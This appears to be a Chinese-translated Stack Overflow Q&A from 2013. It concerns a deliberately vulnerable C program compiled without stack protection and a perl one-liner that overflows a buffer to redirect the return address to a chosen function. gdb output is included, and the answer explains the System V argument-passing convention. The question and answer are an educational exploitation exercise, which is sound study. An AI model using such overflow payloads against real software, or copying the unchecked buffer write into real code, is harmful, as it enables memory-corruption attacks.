【问题标题】:Passing parameter to a function reached via a buffer overflow将参数传递给通过缓冲区溢出到达的函数
【发布时间】:2013-12-09 12:51:40
【问题描述】:

我编写了这个简单的 main,我用标志 -fno-stack-protector 编译。

#include <stdio.h>
int pos;
char c = 0;

void
bof(unsigned int i)
{
   fprintf(stderr, "BOF %u\n", i);
}

void 
foo() 
{
   unsigned char buf[3];
   while(c != 'X') {
    scanf(" %c", &c);
    buf[pos++] = c;
  }
}

int 
main() {
  fprintf(stderr, "%p\n", bof);
  foo();
  return 0;
}

我试图将 0 传递给 bof 函数的输入变量,并确保我用零包围了 bof 函数的地址。 (注意我使用的是 ubuntu 12.04 v. 64 bit):

perl -e 'print "\x00"x24 . "\xa4\x05\x40\x00\x00\x00\x00\x00" 。 "\x00"x8 。 “X”'

问题是用这个缓冲区执行程序打印的结果不是零(它甚至不是常数),但是当我尝试调试程序时: perl -e '打印 "\x00"x24 . "\xa4\x05\x40\x00\x00\x00\x00\x00" 。 "\x00"x8 。 "X"' > 文件

(gdb) b 19
Breakpoint 4 at 0x40061b: file main.c, line 19.
(gdb) r < file
The program being debugged has been started already.

Start it from the beginning? (y or n) y
Starting program: /home/badnack/Documents/Code/stuff/bof/bof < file
0x4005a4

Breakpoint 4, foo () at main.c:19
19  }
(gdb) l
14    unsigned char buf[3];
15    while(c != 'X') {
16      scanf(" %c", &c);
17      buf[pos++] = c;
18    }
19  }
20  
21  int 
22  main() {
23    fprintf(stderr, "%p\n", bof);
(gdb) l
24    foo();
25    return 0;
26  }
(gdb) disass
Dump of assembler code for function foo:
   0x00000000004005d0 <+0>: push   %rbp
   0x00000000004005d1 <+1>: mov    %rsp,%rbp
   0x00000000004005d4 <+4>: sub    $0x10,%rsp
   0x00000000004005d8 <+8>: jmp    0x400610 <foo+64>
   0x00000000004005da <+10>:    mov    $0x400755,%eax
   0x00000000004005df <+15>:    mov    $0x601040,%esi
   0x00000000004005e4 <+20>:    mov    %rax,%rdi
   0x00000000004005e7 <+23>:    mov    $0x0,%eax
   0x00000000004005ec <+28>:    callq  0x4004b0 <__isoc99_scanf@plt>
   0x00000000004005f1 <+33>:    mov    0x200a4d(%rip),%eax        # 0x601044 <pos>
   0x00000000004005f7 <+39>:    movzbl 0x200a42(%rip),%edx        # 0x601040 <c>
   0x00000000004005fe <+46>:    mov    %edx,%ecx
   0x0000000000400600 <+48>:    movslq %eax,%rdx
   0x0000000000400603 <+51>:    mov    %cl,-0x10(%rbp,%rdx,1)
   0x0000000000400607 <+55>:    add    $0x1,%eax
   0x000000000040060a <+58>:    mov    %eax,0x200a34(%rip)        # 0x601044 <pos>
   0x0000000000400610 <+64>:    movzbl 0x200a29(%rip),%eax        # 0x601040 <c>
   0x0000000000400617 <+71>:    cmp    $0x58,%al
   0x0000000000400619 <+73>:    jne    0x4005da <foo+10>
=> 0x000000000040061b <+75>:    leaveq 
   0x000000000040061c <+76>:    retq   
End of assembler dump.
(gdb) ni
0x000000000040061c  19  }
(gdb) x/10xg $rsp
0x7fffffffe278: 0x00000000004005a4  0x0000000000000000
0x7fffffffe288: 0x00007ffff7a3b758  0x0000000000000000
0x7fffffffe298: 0x00007fffffffe368  0x0000000100000000
0x7fffffffe2a8: 0x000000000040061d  0x0000000000000000
0x7fffffffe2b8: 0xbc2b8a4223791ede  0x00000000004004c0
(gdb) n
bof (i=0) at main.c:7
7   {
(gdb) x/10xg $rsp
0x7fffffffe280: 0x0000000000000000  0x00007ffff7a3b758
0x7fffffffe290: 0x0000000000000000  0x00007fffffffe368
0x7fffffffe2a0: 0x0000000100000000  0x000000000040061d
0x7fffffffe2b0: 0x0000000000000000  0xbc2b8a4223791ede
0x7fffffffe2c0: 0x00000000004004c0  0x00007fffffffe360
(gdb) n
8     fprintf(stderr, "BOF %u\n", i);
(gdb) n
BOF 4158473024
9   }
(gdb) x/10xg $rsp
0x7fffffffe268: 0x0000000000000000  0xf7dd434000000000
0x7fffffffe278: 0x0000000000000000  0x0000000000000000
0x7fffffffe288: 0x00007ffff7a3b758  0x0000000000000000
0x7fffffffe298: 0x00007fffffffe368  0x0000000100000000
0x7fffffffe2a8: 0x000000000040061d  0x0000000000000000
(gdb) 

i 变量似乎接收到了正确的值,但随后打印了另一个值(这正是 0xf7dd434000000000 的十进制表示。发生了什么?为什么这个内存单元之前也不存在?

【问题讨论】:

    标签: c gcc reverse-engineering buffer-overflow


    【解决方案1】:

    要确切知道发生了什么,我们必须查看函数bof 的汇编代码。无论如何,您的方法中的一个疏忽是您没有将参数值写入堆栈; 8 字节的返回地址“\xa4\x05\x40\x00\x00\x00\x00\x00”被foo 中的retq 从堆栈中弹出 - 我们从之前的差异中看到了这一点

    0x7fffffffe278: 0x00000000004005a4  0x0000000000000000
    0x7fffffffe288: 0x00007ffff7a3b758
    

    retq之后

    0x7fffffffe280: 0x0000000000000000  0x00007ffff7a3b758
    

    (现在在bof)。 "\x00"x8 现在代替了来自bof 的返回地址,如果bofcallq 定期调用,则该返回地址将被压入堆栈顶部。

    此外,使用的调用约定似乎是System V Application Binary Interface,其中函数bof 的第一个(并且仅在本例中)参数在寄存器%rdi 中传递,而不是在堆栈上。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2017-11-01
      • 2010-10-11
      • 1970-01-01
      • 2014-04-27
      • 2012-08-04
      • 2022-08-14
      • 2017-01-21
      • 1970-01-01
      相关资源
      最近更新 更多